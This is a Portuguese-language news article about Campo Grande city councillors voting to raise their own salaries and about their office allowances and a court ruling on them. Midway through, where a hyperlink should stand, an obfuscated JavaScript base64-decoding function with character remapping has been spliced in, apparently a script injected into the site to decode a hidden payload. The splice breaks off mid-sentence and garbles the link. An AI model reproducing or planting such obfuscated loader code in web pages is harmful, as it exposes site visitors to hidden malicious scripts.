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Vereadores da Capital votam aumento do próprio salário

Redação

[Via Correio do Estado]

Os vereadores devem votar agora, na manhã desta quinta-feira (6), o reajuste do salário para a próxima legislatura, entre 2021 e 2024. Os parlamentares vão pedir o teto de 75% do valor do salário dos deputados estaduais.

“Esta legislatura abriu mão do reajuste em virtude da situação que encontrava a gestão do prefeito Marcos Trad (PSD). Já houve um realinhamento e começa a ter um equilíbrio para ter validade a partir de 1 de janeiro de 2021”, disse João Rocha (PSDB), presidente da Casa.

O texto já passou pelas comissões e será dado o conhecimento ao plenário agora pela manhã, podendo ser votado em regime de urgência.

“Já é estabelecido pela Constituição Federal os 75% do salário dos deputados estaduais. Estamos discutindo os 75% que é justo, até por conta dessa defasagem de oito anos”, completou Rocha.

Conforme a Lei Federal, o reajuste dos vereadores da Capital pode variar entre 25% a 75% . No entanto não ficou esclarecido o valor final , já que o cálculo precisa aguardar o valor estabelecido pela Assembleia Legislativa.

POLÊMICA

Quase 70% do duodécimo repassado para a Câmara Municipal de Campo Grande serve para o pagamento da folha salarial dos comissionados e vereadores da Casa de Leis, revelou o Correio do Estado nofunction a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande/vereadores-gastam-r-46-mi-por-ano-com-salarios-e-verbas/321547/" target="_blank" rel="noopener"> ano passado. Se antigamente aqueles que participavam do Legislativo da Capital faziam o trabalho voluntariamente, hoje se tornar um parlamentar virou uma “profissão”, com remuneração altamente elevada.

Levantamento feito pela reportagem, com base nos dados de 2017 divulgados pela Câmara e também em diários oficiais, apontou que por mês um vereador recebe R$ 100,8 mil para verba de gabinete.

Além disso, há o recurso das verbas indenizatórias, que pode chegar a R$ 16,8 mil, e o salário do parlamentar, que é de R$ 15.031,76. Nem mesmo a bancada médica abriu mão de receber a remuneração, embora trabalhem em seus consultórios e clínicas particulares fora das sessões ordinárias.

Conforme a transparência, por mês cada um dos edis recebe R$ 132,6 mil para legislar. Ou seja, em um ano, cada um dos 29 vereadores recebe R$ 1,5 milhão, entre salário e manutenção de seus gabinetes – sem levar em conta o 13°.

Ao todo são R$ 3,8 milhões por mês para manter os 29 gabinetes da Casa de Leis. Esse valor anual representa R$ 46,1 milhões em pagamentos. O montante equivale a 67% dos R$ 68,3 milhões do duodécimo repassado pelo Executivo para a Câmara Municipal.

JUSTIÇA

O Ministério Público Estadual de Mato Grosso do Sul chegou a derribar as verbas indenizatórias dos parlamentares, mas a Justiça acatou recurso da Câmara Municipal de Campo Grande e suspendeu a decisão. Em quatro meses, o montante gasto foi de R$ 1,3 milhão, fora o salário de R$ 15 mil mensal para cada um.

Conforme a decisão do desembargador Vladimir Abreu da Silva, que analisou o pedido da Câmara, a volta da verba indenizatória deve valer pelo menos até que o agravo da casa de leis seja julgado em última instância.

“Tendo em vista a existência de dano de difícil reparação, pois as hipóteses previstas nas verbas indenizatórias instituídas têm como escopo a manutenção de atividades parlamentares”, argumentou o magistrado em sua decisão.

Para defender a decisão, o desembargador Vladimir argumentou que a Constituição Federal autoriza o recebimento de verbas em caráter indenizatório, “as quais, junto com o pagamento do subsídio, não estão limitadas ao teto constitucional.”

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